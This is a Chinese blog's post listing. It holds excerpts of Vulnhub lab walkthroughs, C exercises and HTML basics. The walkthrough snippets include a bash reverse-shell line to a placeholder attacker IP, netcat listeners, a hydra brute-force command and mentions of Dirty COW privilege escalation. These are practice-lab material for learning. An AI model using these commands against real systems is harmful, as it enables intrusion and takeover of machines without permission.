- 博客(18)
- 收藏
- 关注
原创 Vulnhub靶场-MrRobot
ifconfig查看kali的ip,nmap -sP 192.168.10.0/24 扫描当前网段的所有ip。在浏览器中的登录界面192.168.10.131/login,burp中开启抓包,账户与密码随便输入。这里找到了flag但是没有权限,这里看一下另一个文件pssword.raw-md5。将fsocity.dic下载到kali中,使用sort排序命令进入排序去重。这里只需要更改ip地址(自己主机的Ip)和监听的端口(监听的端口)即可。进入kali中的burp,连接上火狐,
2025-08-07 16:59:45
308
原创 Vulnhub靶场-lazysysadmin
这边找到了wordpress的网站,因为刚刚获得一个账户与密码,所以进入看看。这里只需要更改ip地址(自己主机的Ip)和监听的端口(监听的端口)即可。进入kali中使用nc -lvvp 4444监听4444端口。登录togie(su togie)密码为最开始的:12345。发现文件,在windows中进入share$这里看到了445这个共享文件的端口。这里看到了上面的wordpress。发现的登录界面,使用刚刚的账户密码。进入后查看一下用户找到了togie。进入后找到一个数据库的账号与密码。
2025-08-06 12:24:29
371
原创 Vulnhub靶场-lampiao
在第二个+处可以看到robots.txt文件,这个文件一般都是来告诉那些文件可以爬,那些不可以,进入这个文件。开启靶机与kali,在kali中 ifconfig 查看自己的ip(确认自己的网段)在这里我们看到了changelog.txt,这是文件的日志,进入这里面查看。打开kali,进入msfconsole(可以在此处搜索可以利用的漏洞)命令:show options。成功进入了,但是通过id查看发现所有的权限很低,这时候就需要提权了。一下,使用ls查看,没错的话是可以看到dcow.tar.gz这个文件。
2025-08-05 21:11:22
800
原创 Vulnhub靶机-Breakout
在浏览器中进入Breakout中的网址:192.168.136.130(每个人的都可能不一样)su root (切换为root用户)输入上面的密码:Ts&4&YurgtRX(=~h。在kali中使用ifconfig查看Ip是否与Breakout中的地址在同一网段。可以看到最后的时候找到了用户名,这时候就可以去10000与20000端口实验去了。被攻击者:bash -i >& /dev/tcp/攻击者IP/6767 0>&1。进入了root模式(cd /root),使用ls查看,
2025-08-04 16:00:00
621
原创 vulnHub靶场-narak
hydra -L 1.txt -P 1.txt 192.168.7.128 http-get /webdav(在1.txt位置打开终端,否则无法找到1.txt,)发现了BF (Brainfuck 是一种极简的、图灵完备的编程语言,仅使用 8 个简单命令(+, -, >, <, [, ], ., ,)来操作内存和输出。在kali中使用nc -lvvp 4444(4444时webshell中设置的端口号),在浏览器中访问webshell。cd /etc/update-motd.d/ 进入。
2025-08-03 10:37:34
296
原创 C语言二级程序题(9)水仙花数
水仙花数是指一个n位数,其每个位上的数字的n次幂之和等于它本身。例如,对于三位数,其定义就是每个位上的数字的三次幂之和等于该数本身。例如,1^3 + 5^3 + 3^3 = 153,其中153就是一个三位的水仙花数。因为pow函数不支持两个参数都是整数,所以将3改为3.0即可解决。思路:先确定位数、然后将每个数字拆分出来进行判断,最后在进行比较。pow函数在运用时可能会出现重载现象。
2025-02-09 18:13:08
265
原创 C语言二级程序题(8)数组矩阵的周长
思路:考到了三级运算符 “||” 的用法,需求周长则数组的行为0,或为M-1(M为行的长度),列也是同理,等于0,或为N-1(N为列的长度)。fun功能:求出二维数组周边元素之和,作为函数返回值。则函数返回值为:61。
2025-02-08 18:34:34
200
原创 C语言二级程序题(7)矩阵内的转换
思路:可以运用b数组来存储a数组,在将b数组反方向传给a。fun功能:实现矩阵(3行3列)的转置(即行列互换)
2025-02-07 16:56:13
154
原创 C语言二级程序题(6)数字之间的插入
fun函数功能:将两个两位数的正整数a,b合并成一个整数放在c中。思路:运用"/"和"%"分别提出a和b的十位与个位即可。,调用函数后 ,c=
2025-02-06 17:08:58
246
原创 C语言二级程序题(5)冒泡排序
例如: a[]={4,8,5,7,9,6,3,15,1},冒泡排序后为:a[]={1,3,4,5,6,7,8,9,15}• 从数组的开始位置遍历到未排序部分的末尾(随着轮数的增加,未排序部分逐渐缩短)。冒泡排序是一种简单的排序算法,它重复地交换相邻的元素,将较大的元素“冒泡”到数组的末尾。• 控制排序的轮数,总共进行n-1轮(n是数组长度)。• 每完成一轮,就确定了一个元素的最终位置。• 在每一轮中进行实际的比较和交换操作。思路:冒泡其实就是从小到大排列,利用for来排序。
2025-02-05 19:20:21
250
原创 C语言二级程序题(5)查找两个数组的交集
设定:A与B长度均不超过100 ,m是A数组元素个数,n是B数组元素个数,但可能存在重复元素,因此最终生成交集C要注意去除重复。使对于从小到大有序数组A和B , 返回A和B的交集C。需要注意的是不可存在重复元素,所以还需要在之后进行对重复的判断。循环对A,B数组进行。
2025-02-04 19:00:00
246
原创 C语言二级程序题(4)查找数组中的偶数,并求平均值
当题目要求取奇数时,只需要将“ if (arr[i] % 2 == 0) ”改为“ if (arr[i] % 2!= 0) ”或“ if (arr[i] % 2 == 1) ”即可。思路:判断数组中的偶数要用到if来判断,偶数%2=0。由此可以写成 if ( arr [i] % 2 == 0) .例如:当前数组中的内容为(12, 5, 9, 8, 23, 4, 7, 21),输出结果应为n=3,ave=8.000000。fun功能:统计数组中的偶数的个数,并求出平均值。
2025-01-27 18:42:56
217
原创 C语言二级程序题(3)统计个数
例如:表示ea用“ sp [i] == 'e' && sp [i+1] == 'a' ”fun功能:在字符串中统计字母"ea"、"ou"、"iu"的个数,并存入ct数组中。思路:由于程序无法判断两个字符,所以需要用到三级运算符&&来表示两个连续的字符。
2025-01-26 23:00:00
154
原创 C语言二级程序题(2)四叶玫瑰数
,是指一个四位数,其各位数字的四次方和等于该数本身。具体来说,如果一个四位数的千位、百位、十位和个位的数字的四次方之和等于该数本身,那么这个数就是一个四叶玫瑰数。例如,1634是一个四叶玫瑰数,因为14+64+34+44=163414+64+34+44=1634。输入一个数,先判断是否是四位数,进入fun,分别提出千位、百位、十位和个位的数字,2.千位、百位、十位和个位的数字的四次方之和等于该数本身。编写fun函数,其功能是:求n以内的四叶玫瑰数。四叶玫瑰数,也被称为“
2025-01-25 22:00:00
419
原创 C语言二级程序题(1)二进制转10进制
思路:建立一个15位的字符串,进入fun先判断输入的字符串有几位(使用strlen 测试字符串长度函数)在判断是不是有‘0’或‘1’组成的,如果是继续判断,不是则退出。如果是则进入循环 b[i]-'0' 由于b为字符与数值进行运算时会转为acsll值,所以减去一个'0'可以转换为数值。函数fun的功能是将一个由字符0和1组成的表示二进制数的字符串,转换成相应的十进制整数值返回。例如,若表示二进制数的字符串为: "10011”, 则运行结果应为: 10011- ->19。2.输入的字符只能是'0'或'1';
2025-01-24 23:15:29
192
原创 html-速成(表单)
注:在水平合并时会保留左面的内容,删除右面的内容;在垂直合并时会保留上面的内容,删除下面的内容。直接生成的表格没有边框需要在<table>添加border属性。垂直也是同理:垂直合并单元格4,7。表格标签 :表格<table>Tborder:设置表格的边框。Height:设置表格的高度。单元格的合并在<td>中使用。例如要水平合并单元格1,2时。Width:设置表格的宽度。特点:同行等高、同列等宽。水平合并:colspan。垂直合并:rowspan。单元格(列):<td>组成:行、列、单元格。
2025-01-20 18:54:34
252
原创 html-速成(超链接、标签文本、有序序列、无序序列)
有序序列有明确的数值来表示,而无序序列没有,无序序列是用图形来表示的。有序列表都以<ol>标签作为开始,每个列表项都以<li>开始。与有序序列不同的是有序序列是<ol>,而无序序列是<ul>i表示列表项目用小写罗马数字标号(i,ii,iii..)I表示列表项目用大写罗马数字标号l,ll,lll...)A表示列表项目用大写字母标号(A,B,C..)a表示列表项目用小写字母标号(a,b,..)在HTML中的文本用<p></p>来表示。<ol>的属性type拥有的选项。<ul>的属性type拥有的选项。
2025-01-20 12:53:00
460
原创 html-速成(框架、标题标签、段落换行和水平线、插入图片)
1.内容以原因:由于各个浏览器的不同,可能会出现怪异模式,用<!可以解决这个问题。2.HTML标签:知道该文档是HTML文档。3.Head标签:描述HTML文档的各种属性和信息。绝大部分数据不会显示给读者(1).title标签:定义文档的标签,有head标签就要有title标签,有且只有一个。2.Meta标签(单标签):描述网页的属性,关键词。例:表示当前使用的编码格式为utf-8Body标签:定义文档的主题(直接给用户看的)。如:照片、视频、超链接等。
2025-01-18 19:45:50
392
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人
RSS订阅